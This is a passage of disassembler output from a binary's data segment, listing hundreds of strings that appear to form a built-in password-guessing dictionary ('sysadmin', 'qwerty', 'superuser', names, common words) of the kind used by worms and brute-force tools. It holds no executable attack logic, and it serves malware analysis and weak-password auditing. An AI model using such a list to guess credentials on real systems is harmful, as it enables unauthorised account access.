aTalk db 'talk',0 ; DATA XREF: seg002:0042D9F8o align 10h aTabasco db 'tabasco',0 ; DATA XREF: seg002:0042D9F4o aSysop db 'sysop',0 ; DATA XREF: seg002:0042D9F0o align 10h aSysadmin db 'sysadmin',0 ; DATA XREF: seg002:0042D9ECo align 4 aSymmetry db 'symmetry',0 ; DATA XREF: seg002:0042D9E8o align 4 aSybil db 'sybil',0 ; DATA XREF: seg002:0042D9E4o align 10h aSword db 'sword',0 ; DATA XREF: seg002:0042D9E0o align 4 aSwitch db 'switch',0 ; DATA XREF: seg002:0042D9DCo align 10h aSweat db 'sweat',0 ; DATA XREF: seg002:0042D9D8o align 4 aSwearer db 'swearer',0 ; DATA XREF: seg002:0042D9D4o aSuzie db 'suzie',0 ; DATA XREF: seg002:0042D9D0o align 4 aSuzanne db 'suzanne',0 ; DATA XREF: seg002:0042D9CCo aSusie db 'susie',0 ; DATA XREF: seg002:0042D9C8o align 4 aSusanne db 'susanne',0 ; DATA XREF: seg002:0042D9C4o aSusan db 'susan',0 ; DATA XREF: seg002:0042D9C0o align 4 aSurfing db 'surfing',0 ; DATA XREF: seg002:0042D9BCo aSurfer db 'surfer',0 ; DATA XREF: seg002:0042D9B8o align 4 aSupporte db 'supporte',0 ; DATA XREF: seg002:0042D9B4o align 4 aSupport db 'support',0 ; DATA XREF: seg002:0042D9B0o aSupervis db 'supervis',0 ; DATA XREF: seg002:0042D9ACo align 4 aSuperuse db 'superuse',0 ; DATA XREF: seg002:0042D9A8o align 4 aSupersta db 'supersta',0 ; DATA XREF: seg002:0042D9A4o align 10h aSuperson db 'superson',0 ; DATA XREF: seg002:0042D9A0o align 4 aSuperman db 'superman',0 ; DATA XREF: seg002:0042D99Co align 4 aSunday db 'sunday',0 ; DATA XREF: seg002:0042D998o align 10h aSummer db 'summer',0 ; DATA XREF: seg002:0042D994o align 4 aSucks db 'sucks',0 ; DATA XREF: seg002:0042D990o align 10h aSuckmydi db 'suckmydi',0 ; DATA XREF: seg002:0042D98Co align 4 aSuck db 'suck',0 ; DATA XREF: seg002:0042D988o align 4 aSuccess db 'success',0 ; DATA XREF: seg002:0042D984o aSubway db 'subway',0 ; DATA XREF: seg002:0042D980o align 4 aSubscrib db 'subscrib',0 ; DATA XREF: seg002:0042D97Co align 10h aStuttgar db 'stuttgar',0 ; DATA XREF: seg002:0042D978o align 4 aStrip db 'strip',0 ; DATA XREF: seg002:0042D970o align 4 aString db 'string',0 ; DATA XREF: seg002:0042D96Co align 4 aStreetfi db 'streetfi',0 ; DATA XREF: seg002:0042D968o align 4 aStratfor db 'stratfor',0 ; DATA XREF: seg002:0042D964o align 4 aStrangle db 'strangle',0 ; DATA XREF: seg002:0042D960o align 10h aStrange db 'strange',0 ; DATA XREF: seg002:0042D95Co aStones db 'stones',0 ; DATA XREF: seg002:0042D958o align 10h aStoned db 'stoned',0 ; DATA XREF: seg002:0042D954o align 4 dword_430058 dd 6E6F7473h aEage db 'eage',0 ; DATA XREF: seg002:off_42549Co align 4 aSteve db 'steve',0 ; DATA XREF: seg002:0042D94Co align 4 aStereo db 'stereo',0 ; DATA XREF: seg002:0042D948o align 4 aStephani db 'stephani',0 ; DATA XREF: seg002:0042D944o align 10h aSteph db 'steph',0 ; DATA XREF: seg002:0042D940o align 4 aSteel db 'steel',0 ; DATA XREF: seg002:0042D93Co align 10h aSteal db 'steal',0 ; DATA XREF: seg002:0042D938o align 4 aSteak db 'steak',0 ; DATA XREF: seg002:0042D934o align 10h aStarwars db 'starwars',0 ; DATA XREF: seg002:0042D930o align 4 aStartup db 'startup',0 ; DATA XREF: seg002:0042D92Co aStartrek db 'startrek',0 ; DATA XREF: seg002:0042D928o align 10h aStart db 'start',0 ; DATA XREF: seg000:0040ED2Bo ; seg002:0042D924o align 4 aStarship db 'starship',0 ; DATA XREF: seg002:0042D920o align 4 aStar db 'star',0 ; DATA XREF: seg002:0042D91Co align 4 aStacy db 'stacy',0 ; DATA XREF: seg002:0042D918o align 4 aStacie db 'stacie',0 ; DATA XREF: seg002:0042D914o align 4 aStaci db 'staci',0 ; DATA XREF: seg002:0042D910o align 4 aStacey db 'stacey',0 ; DATA XREF: seg002:0042D90Co align 4 aSr71 db 'sr71',0 ; DATA XREF: seg002:0042D908o align 4 aSquires db 'squires',0 ; DATA XREF: seg002:0042D904o aSpunk db 'spunk',0 ; DATA XREF: seg002:0042D900o align 4 aSpringer db 'springer',0 ; DATA XREF: seg002:0042D8FCo align 10h aSpring db 'spring',0 ; DATA XREF: seg002:0042D8F8o align 4 aSpred db 'spred',0 ; DATA XREF: seg002:0042D8F4o align 10h aSpit db 'spit',0 ; DATA XREF: seg002:0042D8F0o align 4 aSpiderma db 'spiderma',0 ; DATA XREF: seg002:0042D8ECo align 4 aSpider db 'spider',0 ; DATA XREF: seg002:0042D8E8o align 4 aSpice db 'spice',0 ; DATA XREF: seg002:0042D8E4o align 4 aSpell db 'spell',0 ; DATA XREF: seg002:0042D8E0o align 4 aSpear db 'spear',0 ; DATA XREF: seg002:0042D8DCo align 4 aSparrows db 'sparrows',0 ; DATA XREF: seg002:0042D8D8o align 10h aSpaceshi db 'spaceshi',0 ; DATA XREF: seg002:0042D8D4o align 4 aSouth db 'south',0 ; DATA XREF: seg002:0042D8D0o align 4 aSource db 'source',0 ; DATA XREF: seg002:0042D8CCo align 4 aSossina db 'sossina',0 ; DATA XREF: seg002:0042D8C8o aSonya db 'sonya',0 ; DATA XREF: seg002:0042D8C4o align 4 aSonic db 'sonic',0 ; DATA XREF: seg002:0042D8C0o align 4 aSonia db 'sonia',0 ; DATA XREF: seg002:0042D8BCo align 4 aSondra db 'sondra',0 ; DATA XREF: seg002:0042D8B8o align 4 aSomebody db 'somebody',0 ; DATA XREF: seg002:0042D8B4o align 10h aSoftware db 'software',0 ; DATA XREF: seg002:0042D8B0o align 4 aSoft db 'soft',0 ; DATA XREF: seg002:0042D8ACo align 4 aSodomy db 'sodomy',0 ; DATA XREF: seg002:0042D8A8o align 4 aSocrates db 'socrates',0 ; DATA XREF: seg002:0042D8A4o align 4 aSocial db 'social',0 ; DATA XREF: seg002:0042D8A0o align 10h aSoap db 'soap',0 ; DATA XREF: seg002:0042D89Co align 4 aSnoopy db 'snoopy',0 ; DATA XREF: seg002:0042D898o align 10h aSnatch db 'snatch',0 ; DATA XREF: seg002:0042D894o align 4 aSnake db 'snake',0 ; DATA XREF: seg002:0042D890o align 10h aSnafu db 'snafu',0 ; DATA XREF: seg002:0042D88Co align 4 aSnach db 'snach',0 ; DATA XREF: seg002:0042D888o align 10h aSmut db 'smut',0 ; DATA XREF: seg002:0042D884o align 4 aSmtp db 'smtp',0 ; DATA XREF: seg002:0042D880o align 10h aSmother db 'smother',0 ; DATA XREF: seg002:0042D87Co aSmooch db 'smooch',0 ; DATA XREF: seg002:0042D878o align 10h aSmiles db 'smiles',0 ; DATA XREF: seg002:0042D874o align 4 aSmile db 'smile',0 ; DATA XREF: seg002:0042D870o align 10h aSmart db 'smart',0 ; DATA XREF: seg002:0042D86Co align 4 aSmall db 'small',0 ; DATA XREF: seg002:0042D868o align 10h aSlut db 'slut',0 ; DATA XREF: seg002:0042D864o align 4 aSlow db 'slow',0 ; DATA XREF: seg002:0042D860o align 10h aSliders db 'sliders',0 ; DATA XREF: seg002:0042D85Co aSlick db 'slick',0 ; DATA XREF: seg002:0042D858o align 10h aSlave db 'slave',0 ; DATA XREF: seg002:0042D854o align 4 aSkull db 'skull',0 ; DATA XREF: seg002:0042D850o align 10h aSite db 'site',0 ; DATA XREF: seg002:0042D84Co align 4 aSingle db 'single',0 ; DATA XREF: seg002:0042D848o align 10h aSinger db 'singer',0 ; DATA XREF: seg002:0042D844o align 4 aSimulati db 'simulati',0 ; DATA XREF: seg002:0042D840o align 4 aSimpsons db 'simpsons',0 ; DATA XREF: seg002:0042D83Co align 10h aSimple db 'simple',0 ; DATA XREF: seg002:0042D838o align 4 aSimon db 'simon',0 ; DATA XREF: seg002:0042D834o align 10h aSimcity db 'simcity',0 ; DATA XREF: seg002:0042D830o aSilver db 'silver',0 ; DATA XREF: seg002:0042D82Co align 10h aSignatur db 'signatur',0 ; DATA XREF: seg002:0042D828o align 4 aSierra db 'sierra',0 ; DATA XREF: seg002:0042D824o align 4 aSick db 'sick',0 ; DATA XREF: seg002:0042D820o align 4 aShuttle db 'shuttle',0 ; DATA XREF: seg002:0042D81Co aShort db 'short',0 ; DATA XREF: seg002:0042D818o align 4 aShivers db 'shivers',0 ; DATA XREF: seg002:0042D814o aShiva db 'shiva',0 ; DATA XREF: seg002:0042D810o align 4 aShitpot db 'shitpot',0 ; DATA XREF: seg002:0042D80Co aShit db 'shit',0 ; DATA XREF: seg002:0042D808o align 4 aShirley db 'shirley',0 ; DATA XREF: seg002:0042D804o aShift db 'shift',0 ; DATA XREF: seg002:0042D800o align 4 aSherri db 'sherri',0 ; DATA XREF: seg002:0042D7FCo align 4 aShell db 'shell',0 ; DATA XREF: seg002:0042D7F8o align 4 aSheldon db 'sheldon',0 ; DATA XREF: seg002:0042D7F4o aSheffiel db 'sheffiel',0 ; DATA XREF: seg002:0042D7F0o align 10h aSharon db 'sharon',0 ; DATA XREF: seg002:0042D7ECo align 4 aSharks db 'sharks',0 ; DATA XREF: seg002:0042D7E8o align 10h aShark db 'shark',0 ; DATA XREF: seg002:0042D7E4o align 4 aSharc db 'sharc',0 ; DATA XREF: seg002:0042D7E0o align 10h aShannon db 'shannon',0 ; DATA XREF: seg002:0042D7DCo aSexy db 'sexy',0 ; DATA XREF: seg002:0042D7D8o align 10h aSesame db 'sesame',0 ; DATA XREF: seg002:0042D7D4o align 4 aService db 'service',0 ; DATA XREF: seg002:0042D7D0o ; seg002:0042E398o aSerial_0 db 'serial',0 ; DATA XREF: seg002:0042D7CCo align 4 aSerenity db 'serenity',0 ; DATA XREF: seg002:0042D7C8o align 4 aSentry db 'sentry',0 ; DATA XREF: seg002:0042D7C4o align 4 aSentinel db 'sentinel',0 ; DATA XREF: seg002:0042D7C0o align 4 aSensor db 'sensor',0 ; DATA XREF: seg002:0042D7BCo align 10h aSega db 'sega',0 ; DATA XREF: seg002:0042D7B8o align 4 aSeed db 'seed',0 ; DATA XREF: seg002:0042D7B4o align 10h aSecurity db 'security',0 ; DATA XREF: seg002:0042D7B0o align 4 aSearch db 'search',0 ; DATA XREF: seg002:0042D7ACo align 4 aScout db 'scout',0 ; DATA XREF: seg002:0042D7A8o align 4 aScotty db 'scotty',0 ; DATA XREF: seg002:0042D7A4o align 4 aScott db 'scott',0 ; DATA XREF: seg002:0042D7A0o align 4 aScorpion db 'scorpion',0 ; DATA XREF: seg002:0042D79Co align 4 aScifi db 'scifi',0 ; DATA XREF: seg002:0042D798o align 10h aSchoolsucks db 'schoolsucks',0 ; DATA XREF: seg002:0042D794o aSchool db 'school',0 ; DATA XREF: seg002:0042D790o align 4 aScheme db 'scheme',0 ; DATA XREF: seg002:0042D78Co align 4 aScamper db 'scamper',0 ; DATA XREF: seg002:0042D788o aSaxon db 'saxon',0 ; DATA XREF: seg002:0042D784o align 4 aSaturn db 'saturn',0 ; DATA XREF: seg002:0042D780o align 4 aSaturday db 'saturday',0 ; DATA XREF: seg002:0042D77Co align 10h aSarah db 'sarah',0 ; DATA XREF: seg002:0042D778o align 4 aSara db 'sara',0 ; DATA XREF: seg002:0042D774o align 10h aSandy db 'sandy',0 ; DATA XREF: seg002:0042D770o align 4 aSandra db 'sandra',0 ; DATA XREF: seg002:0042D76Co align 10h aSample db 'sample',0 ; DATA XREF: seg002:0042D768o align 4 aSamantha db 'samantha',0 ; DATA XREF: seg002:0042D764o align 4 aSalt db 'salt',0 ; DATA XREF: seg002:0042D760o align 4 aSale db 'sale',0 ; DATA XREF: seg002:0042D75Co align 4 aSalami db 'salami',0 ; DATA XREF: seg002:0042D758o align 4 aSafe db 'safe',0 ; DATA XREF: seg002:0042D754o align 4 aRuth db 'ruth',0 ; DATA XREF: seg002:0042D750o align 4 aRush db 'rush',0 ; DATA XREF: seg002:0042D74Co align 4 aRunning db 'running',0 ; DATA XREF: seg002:0042D748o aRules db 'rules',0 ; DATA XREF: seg002:0042D744o align 4 aRude db 'rude',0 ; DATA XREF: seg002:0042D740o align 4 aRuby db 'ruby',0 ; DATA XREF: seg002:0042D73Co align 4 aRuben db 'ruben',0 ; DATA XREF: seg002:0042D738o align 4 aRubber db 'rubber',0 ; DATA XREF: seg002:0042D734o align 4 aRough db 'rough',0 ; DATA XREF: seg002:0042D730o align 4 aRoses db 'roses',0 ; DATA XREF: seg002:0042D72Co align 4 aRosemary db 'rosemary',0 ; DATA XREF: seg002:0042D728o align 10h aRosebud db 'rosebud',0 ; DATA XREF: seg002:0042D724o aRose db 'rose',0 ; DATA XREF: seg002:0042D720o align 10h aRonald db 'ronald',0 ; DATA XREF: seg002:0042D71Co align 4 aRomulan db 'romulan',0 ; DATA XREF: seg002:0042D718o aRomeo db 'romeo',0 ; DATA XREF: seg002:0042D714o align 4 aRomano db 'romano',0 ; DATA XREF: seg002:0042D710o align 10h aRolex db 'rolex',0 ; DATA XREF: seg002:0042D70Co align 4 aRodent db 'rodent',0 ; DATA XREF: seg002:0042D708o align 10h aRockyhor db 'rockyhor',0 ; DATA XREF: seg002:0042D704o align 4 aRocky db 'rocky',0 ; DATA XREF: seg002:0042D700o align 4 aRock db 'rock',0 ; DATA XREF: seg002:0042D6FCo align 4 aRocheste db 'rocheste',0 ; DATA XREF: seg002:0042D6F8o align 4 aRochelle db 'rochelle',0 ; DATA XREF: seg002:0042D6F4o align 4 aRobyn db 'robyn',0 ; DATA XREF: seg002:0042D6F0o align 4 aRobotics db 'robotics',0 ; DATA XREF: seg002:0042D6ECo align 4 aRobot db 'robot',0 ; DATA XREF: seg002:0042D6E8o align 10h aRobin db 'robin',0 ; DATA XREF: seg002:0042D6E4o align 4 aRobert db 'robert',0 ; DATA XREF: seg002:0042D6E0o align 10h aRoach db 'roach',0 ; DATA XREF: seg002:0042D6DCo align 4 aRisc db 'risc',0 ; DATA XREF: seg002:0042D6D8o align 10h aRipple db 'ripple',0 ; DATA XREF: seg002:0042D6D4o align 4 aRiot db 'riot',0 ; DATA XREF: seg002:0042D6D0o align 10h aRing db 'ring',0 ; DATA XREF: seg002:0042D6CCo align 4 aRightwin db 'rightwin',0 ; DATA XREF: seg002:0042D6C8o align 4 aRight db 'right',0 ; DATA XREF: seg002:0042D6C4o align 4 aRiffraff db 'riffraff',0 ; DATA XREF: seg002:0042D6C0o align 4 aRick db 'rick',0 ; DATA XREF: seg002:0042D6BCo align 10h aRich db 'rich',0 ; DATA XREF: seg002:0042D6B8o align 4 aRhino db 'rhino',0 ; DATA XREF: seg002:0042D6B4o align 10h aReveal db 'reveal',0 ; DATA XREF: seg002:0042D6B0o align 4 aResistan db 'resistan',0 ; DATA XREF: seg002:0042D6ACo align 4 aRepublic db 'republic',0 ; DATA XREF: seg002:0042D6A8o align 10h aReport db 'report',0 ; DATA XREF: seg002:0042D6A4o align 4 aRent db 'rent',0 ; DATA XREF: seg002:0042D6A0o align 10h aReno db 'reno',0 ; DATA XREF: seg002:0042D69Co align 4 aRenee db 'renee',0 ; DATA XREF: seg002:0042D698o align 10h aRemote db 'remote',0 ; DATA XREF: seg002:0042D694o align 4 aRelease db 'release',0 ; DATA XREF: seg002:0042D690o aRegional db 'regional',0 ; DATA XREF: seg002:0042D68Co align 4 aReferenc db 'referenc',0 ; DATA XREF: seg002:0042D688o align 4 aRedhead db 'redhead',0 ; DATA XREF: seg002:0042D684o aReddawn db 'reddawn',0 ; DATA XREF: seg002:0042D680o aRecord db 'record',0 ; DATA XREF: seg002:0042D67Co align 10h aRebel db 'rebel',0 ; DATA XREF: seg002:0042D678o align 4 aRebecca db 'rebecca',0 ; DATA XREF: seg002:0042D674o aRebal db 'rebal',0 ; DATA XREF: seg002:0042D670o align 4 aReaper db 'reaper',0 ; DATA XREF: seg002:0042D66Co align 10h aReam db 'ream',0 ; DATA XREF: seg002:0042D668o align 4 aReally db 'really',0 ; DATA XREF: seg002:0042D664o align 10h aReality db 'reality',0 ; DATA XREF: seg002:0042D660o aReagan db 'reagan',0 ; DATA XREF: seg002:0042D65Co align 10h aRazor db 'razor',0 ; DATA XREF: seg002:0042D658o align 4 aRascal db 'rascal',0 ; DATA XREF: seg002:0042D654o align 10h aRape db 'rape',0 ; DATA XREF: seg002:0042D650o align 4 aRaleigh db 'raleigh',0 ; DATA XREF: seg002:0042D648o aRaindrop db 'raindrop',0 ; DATA XREF: seg002:0042D644o align 4 aRainbow db 'rainbow',0 ; DATA XREF: seg002:0042D640o aRain db 'rain',0 ; DATA XREF: seg002:0042D63Co align 4 aRaid db 'raid',0 ; DATA XREF: seg002:0042D638o align 4 aRachmani db 'rachmani',0 ; DATA XREF: seg002:0042D634o align 10h aRachelle db 'rachelle',0 ; DATA XREF: seg002:0042D630o align 4 aRachel db 'rachel',0 ; DATA XREF: seg002:0042D62Co align 4 aRabbit db 'rabbit',0 ; DATA XREF: seg002:0042D628o align 4 aQwerty db 'qwerty',0 ; DATA XREF: seg002:0042D624o ; seg002:0042E37Co align 4 aQwert db 'qwert',0 ; DATA XREF: seg002:0042D620o ; seg002:0042E378o align 4 aQuebec db 'quebec',0 ; DATA XREF: seg002:0042D61Co align 4 aPussy db 'pussy',0 ; DATA XREF: seg002:0042D618o align 4 aPuppet db 'puppet',0 ; DATA XREF: seg002:0042D614o align 4 aPunk db 'punk',0 ; DATA XREF: seg002:0042D610o align 4 aPunisher db 'punisher',0 ; DATA XREF: seg002:0042D60Co align 4 aPuneet db 'puneet',0 ; DATA XREF: seg002:0042D608o align 10h aPumpkin db 'pumpkin',0 ; DATA XREF: seg002:0042D604o aPuke db 'puke',0 ; DATA XREF: seg002:0042D600o align 10h aPuck db 'puck',0 ; DATA XREF: seg002:0042D5FCo align 4 aPublic db 'public',0 ; DATA XREF: seg002:0042D5F8o align 10h aPsychopa db 'psychopa',0 ; DATA XREF: seg002:0042D5F4o align 4 aPsycho db 'psycho',0 ; DATA XREF: seg002:0042D5F0o align 4 aProtozoa db 'protozoa',0 ; DATA XREF: seg002:0042D5ECo align 10h aProtect db 'protect',0 ; DATA XREF: seg002:0042D5E8o aPrompt db 'prompt',0 ; DATA XREF: seg002:0042D5E4o align 10h aProgram db 'program',0 ; DATA XREF: seg002:0042D5E0o aProfile db 'profile',0 ; DATA XREF: seg002:0042D5DCo aProfesso db 'professo',0 ; DATA XREF: seg002:0042D5D8o align 4 aProcesso db 'processo',0 ; DATA XREF: seg002:0042D5D4o align 4 aProceed db 'proceed',0 ; DATA XREF: seg002:0042D5D0o aPrivs db 'privs',0 ; DATA XREF: seg002:0042D5CCo align 4 aPrivate db 'private',0 ; DATA XREF: seg002:0042D5C8o aPriv db 'priv',0 ; DATA XREF: seg002:0042D5C4o align 4 aPrinter db 'printer',0 ; DATA XREF: seg002:0042D5C0o aPrinceto db 'princeto',0 ; DATA XREF: seg002:0042D5BCo align 4 aPrince db 'prince',0 ; DATA XREF: seg002:0042D5B8o align 4 aPresto db 'presto',0 ; DATA XREF: seg002:0042D5B4o align 4 aPrelude db 'prelude',0 ; DATA XREF: seg002:0042D5B0o aPrecious db 'precious',0 ; DATA XREF: seg002:0042D5ACo align 10h aPraise db 'praise',0 ; DATA XREF: seg002:0042D5A8o align 4 aPower db 'power',0 ; DATA XREF: seg002:0042D5A4o align 10h aPoster db 'poster',0 ; DATA XREF: seg002:0042D5A0o align 4 aPost db 'post',0 ; DATA XREF: seg002:0042D59Co align 10h aPorsche db 'porsche',0 ; DATA XREF: seg002:0042D598o aPorno db 'porno',0 ; DATA XREF: seg002:0042D594o align 10h aPorn db 'porn',0 ; DATA XREF: seg002:0042D590o align 4 aPork db 'pork',0 ; DATA XREF: seg002:0042D58Co align 10h aPoor db 'poor',0 ; DATA XREF: seg002:0042D588o align 4 aPoop db 'poop',0 ; DATA XREF: seg002:0042D584o align 10h aPonderin db 'ponderin',0 ; DATA XREF: seg002:0042D580o align 4 aPolynomi db 'polynomi',0 ; DATA XREF: seg002:0042D57Co align 4 aPolly db 'polly',0 ; DATA XREF: seg002:0042D578o align 10h aPolice db 'police',0 ; DATA XREF: seg002:0042D574o align 4 aPoetry db 'poetry',0 ; DATA XREF: seg002:0042D570o align 10h aPlymouth db 'plymouth',0 ; DATA XREF: seg002:0042D56Co align 4 aPluto db 'pluto',0 ; DATA XREF: seg002:0042D568o align 4 aPlover db 'plover',0 ; DATA XREF: seg002:0042D564o align 4 aPlayboy db 'playboy',0 ; DATA XREF: seg002:0042D560o aPlane db 'plane',0 ; DATA XREF: seg002:0042D55Co align 4 aPizza db 'pizza',0 ; DATA XREF: seg002:0042D558o align 4 aPiss db 'piss',0 ; DATA XREF: seg002:0042D554o align 4 aPinname db 'pinname',0 ; DATA XREF: seg002:0042D550o aPimp db 'pimp',0 ; DATA XREF: seg002:0042D54Co align 4 aPierre db 'pierre',0 ; DATA XREF: seg002:0042D548o align 4 aPick db 'pick',0 ; DATA XREF: seg002:0042D544o align 4 aPhuck db 'phuck',0 ; DATA XREF: seg002:0042D540o align 4 aPhreak db 'phreak',0 ; DATA XREF: seg002:0042D53Co align 4 aPhrase db 'phrase',0 ; DATA XREF: seg002:0042D538o align 4 aPhrack db 'phrack',0 ; DATA XREF: seg002:0042D534o align 4 aPhoton db 'photon',0 ; DATA XREF: seg002:0042D530o align 4 aPhone db 'phone',0 ; DATA XREF: seg002:0042D52Co align 4 aPhoenix db 'phoenix',0 ; DATA XREF: seg002:0042D528o aPhilip db 'philip',0 ; DATA XREF: seg002:0042D524o align 4 aPhil db 'phil',0 ; DATA XREF: seg002:0042D520o align 4 aPeter db 'peter',0 ; DATA XREF: seg002:0042D51Co align 4 aPete db 'pete',0 ; DATA XREF: seg002:0042D518o align 4 aPervert db 'pervert',0 ; DATA XREF: seg002:0042D514o aPersona db 'persona',0 ; DATA XREF: seg002:0042D510o aPersimmo db 'persimmo',0 ; DATA XREF: seg002:0042D50Co align 10h aPermit db 'permit',0 ; DATA XREF: seg002:0042D508o align 4 aPerfect db 'perfect',0 ; DATA XREF: seg002:0042D504o aPercolat db 'percolat',0 ; DATA XREF: seg002:0042D500o align 4 aPepper db 'pepper',0 ; DATA XREF: seg002:0042D4FCo align 4 aPeoria db 'peoria',0 ; DATA XREF: seg002:0042D4F8o align 4 aPentium db 'pentium',0 ; DATA XREF: seg002:0042D4F4o aPenthous db 'penthous',0 ; DATA XREF: seg002:0042D4F0o align 10h aPentagra db 'pentagra',0 ; DATA XREF: seg002:0042D4ECo align 4 aPentagon db 'pentagon',0 ; DATA XREF: seg002:0042D4E8o align 4 aPenname db 'penname',0 ; DATA XREF: seg002:0042D4E4o aPenis db 'penis',0 ; DATA XREF: seg002:0042D4E0o align 4 aPenguin db 'penguin',0 ; DATA XREF: seg002:0042D4DCo aPenelope db 'penelope',0 ; DATA XREF: seg002:0042D4D8o align 4 aPencil db 'pencil',0 ; DATA XREF: seg002:0042D4D4o align 4 aPecker db 'pecker',0 ; DATA XREF: seg002:0042D4D0o align 4 aPeanuts db 'peanuts',0 ; DATA XREF: seg002:0042D4CCo aPaula db 'paula',0 ; DATA XREF: seg002:0042D4C8o align 4 aPatty db 'patty',0 ; DATA XREF: seg002:0042D4C4o align 4 aPatriot db 'patriot',0 ; DATA XREF: seg002:0042D4C0o aPatricia db 'patricia',0 ; DATA XREF: seg002:0042D4BCo align 4 aPaste db 'paste',0 ; DATA XREF: seg002:0042D4B8o align 10h aPassphra db 'passphra',0 ; DATA XREF: seg002:0042D4B4o align 4 aPascal db 'pascal',0 ; DATA XREF: seg002:0042D4B0o align 4 aPapers db 'papers',0 ; DATA XREF: seg002:0042D4ACo align 4 aPaper db 'paper',0 ; DATA XREF: seg002:0042D4A8o align 4 aPapa db 'papa',0 ; DATA XREF: seg002:0042D4A4o align 4 aPamela db 'pamela',0 ; DATA XREF: seg002:0042D4A0o align 4 aPakistan db 'pakistan',0 ; DATA XREF: seg002:0042D49Co align 10h aPaint db 'paint',0 ; DATA XREF: seg002:0042D498o align 4 aPainless db 'painless',0 ; DATA XREF: seg002:0042D494o align 4 aPacker db 'packer',0 ; DATA XREF: seg002:0042D490o align 4 aPackard db 'packard',0 ; DATA XREF: seg002:0042D48Co aPacific db 'pacific',0 ; DATA XREF: seg002:0042D488o aOxford db 'oxford',0 ; DATA XREF: seg002:0042D484o align 4 aOutside db 'outside',0 ; DATA XREF: seg002:0042D480o aOutput db 'output',0 ; DATA XREF: seg002:0042D47Co align 4 aOutlaw db 'outlaw',0 ; DATA XREF: seg002:0042D478o align 4 aOutdoors db 'outdoors',0 ; DATA XREF: seg002:0042D474o align 4 aOsiris db 'osiris',0 ; DATA XREF: seg002:0042D470o align 10h aOscar db 'oscar',0 ; DATA XREF: seg002:0042D46Co align 4 aOrwell db 'orwell',0 ; DATA XREF: seg002:0042D468o align 10h aOrient db 'orient',0 ; DATA XREF: seg002:0042D464o align 4 aOrca db 'orca',0 ; DATA XREF: seg002:0042D460o align 10h aOperator db 'operator',0 ; DATA XREF: seg002:0042D45Co align 4 aOpensesa db 'opensesa',0 ; DATA XREF: seg002:0042D458o align 4 aOpenlock db 'openlock',0 ; DATA XREF: seg002:0042D454o align 4 aOpening db 'opening',0 ; DATA XREF: seg002:0042D450o aOmega db 'omega',0 ; DATA XREF: seg002:0042D448o align 4 aOlivia db 'olivia',0 ; DATA XREF: seg002:0042D444o align 4 aOlivetti db 'olivetti',0 ; DATA XREF: seg002:0042D440o align 4 aOldage db 'oldage',0 ; DATA XREF: seg002:0042D43Co align 10h aOkay db 'okay',0 ; DATA XREF: seg002:0042D438o align 4 aOffice db 'office',0 ; DATA XREF: seg002:0042D434o align 10h aOcelot db 'ocelot',0 ; DATA XREF: seg002:0042D430o align 4 aOceanogr db 'oceanogr',0 ; DATA XREF: seg002:0042D42Co align 4 aObscurit db 'obscurit',0 ; DATA XREF: seg002:0042D428o align 10h aNyquist db 'nyquist',0 ; DATA XREF: seg002:0042D424o aNuts db 'nuts',0 ; DATA XREF: seg002:0042D420o align 10h aNutritio db 'nutritio',0 ; DATA XREF: seg002:0042D41Co align 4 aNumber db 'number',0 ; DATA XREF: seg002:0042D418o align 4 aNull_1 db 'null',0 ; DATA XREF: seg002:0042D414o align 4 aNukem db 'nukem',0 ; DATA XREF: seg002:0042D410o align 4 aNuke db 'nuke',0 ; DATA XREF: seg002:0042D40Co align 4 aNude db 'nude',0 ; DATA XREF: seg002:0042D408o align 4 aNuclear db 'nuclear',0 ; DATA XREF: seg002:0042D404o aNoxious db 'noxious',0 ; DATA XREF: seg002:0042D400o aNovember db 'november',0 ; DATA XREF: seg002:0042D3FCo align 10h aNovel db 'novel',0 ; DATA XREF: seg002:0042D3F8o align 4 aNova db 'nova',0 ; DATA XREF: seg002:0042D3F4o align 10h aNoth db 'noth',0 ; DATA XREF: seg002:0042D3F0o align 4 aNotes db 'notes',0 ; DATA XREF: seg002:0042D3ECo align 10h aNoreen db 'noreen',0 ; DATA XREF: seg002:0042D3E8o align 4 aNode db 'node',0 ; DATA XREF: seg002:0042D3E4o align 10h aNobody db 'nobody',0 ; DATA XREF: seg002:0042D3E0o align 4 aNoble db 'noble',0 ; DATA XREF: seg002:0042D3DCo align 10h aNnaacp db 'nnaacp',0 ; DATA XREF: seg002:0042D3D8o align 4 aNita db 'nita',0 ; DATA XREF: seg002:0042D3D4o align 10h aNintendo db 'nintendo',0 ; DATA XREF: seg002:0042D3D0o align 4 aNightmar db 'nightmar',0 ; DATA XREF: seg002:0042D3CCo align 4 aNight db 'night',0 ; DATA XREF: seg002:0042D3C8o align 10h aNicotine db 'nicotine',0 ; DATA XREF: seg002:0042D3C4o align 4 aNicole db 'nicole',0 ; DATA XREF: seg002:0042D3C0o align 4 aNice db 'nice',0 ; DATA XREF: seg002:0042D3BCo align 4 aNext db 'next',0 ; DATA XREF: seg002:0042D3B8o align 4 aNewyork db 'newyork',0 ; DATA XREF: seg002:0042D3B4o aNewton db 'newton',0 ; DATA XREF: seg002:0042D3B0o align 4 aNewsgrou db 'newsgrou',0 ; DATA XREF: seg002:0042D3ACo align 10h aNews db 'news',0 ; DATA XREF: seg002:0042D3A8o align 4 aNewborn db 'newborn',0 ; DATA XREF: seg002:0042D3A4o aNetwork_0 db 'network',0 ; DATA XREF: seg002:0042D3A0o aNetscape db 'netscape',0 ; DATA XREF: seg002:0042D39Co align 4 aNess db 'ness',0 ; DATA XREF: seg002:0042D398o align 4 aNeptune db 'neptune',0 ; DATA XREF: seg002:0042D394o aNepenthe db 'nepenthe',0 ; DATA XREF: seg002:0042D390o align 10h aNavy db 'navy',0 ; DATA XREF: seg002:0042D38Co align 4 aNasa db 'nasa',0 ; DATA XREF: seg002:0042D388o align 10h aNapoleon db 'napoleon',0 ; DATA XREF: seg002:0042D384o align 4 aNancy db 'nancy',0 ; DATA XREF: seg002:0042D380o align 4 aName db 'name',0 ; DATA XREF: seg002:0042D37Co align 4 aNagel db 'nagel',0 ; DATA XREF: seg002:0042D378o align 4 aMutant db 'mutant',0 ; DATA XREF: seg002:0042D374o align 4 aMuppets db 'muppets',0 ; DATA XREF: seg002:0042D370o aMsdos db 'msdos',0 ; DATA XREF: seg002:0042D36Co align 4 aMpeg db 'mpeg',0 ; DATA XREF: seg002:0042D368o align 4 aMozart db 'mozart',0 ; DATA XREF: seg002:0042D364o align 4 aMovies db 'movies',0 ; DATA XREF: seg002:0042D360o align 4 aMovie db 'movie',0 ; DATA XREF: seg002:0042D35Co align 4 aMove db 'move',0 ; DATA XREF: seg002:0042D358o align 4 aMouse db 'mouse',0 ; DATA XREF: seg002:0042D354o align 4 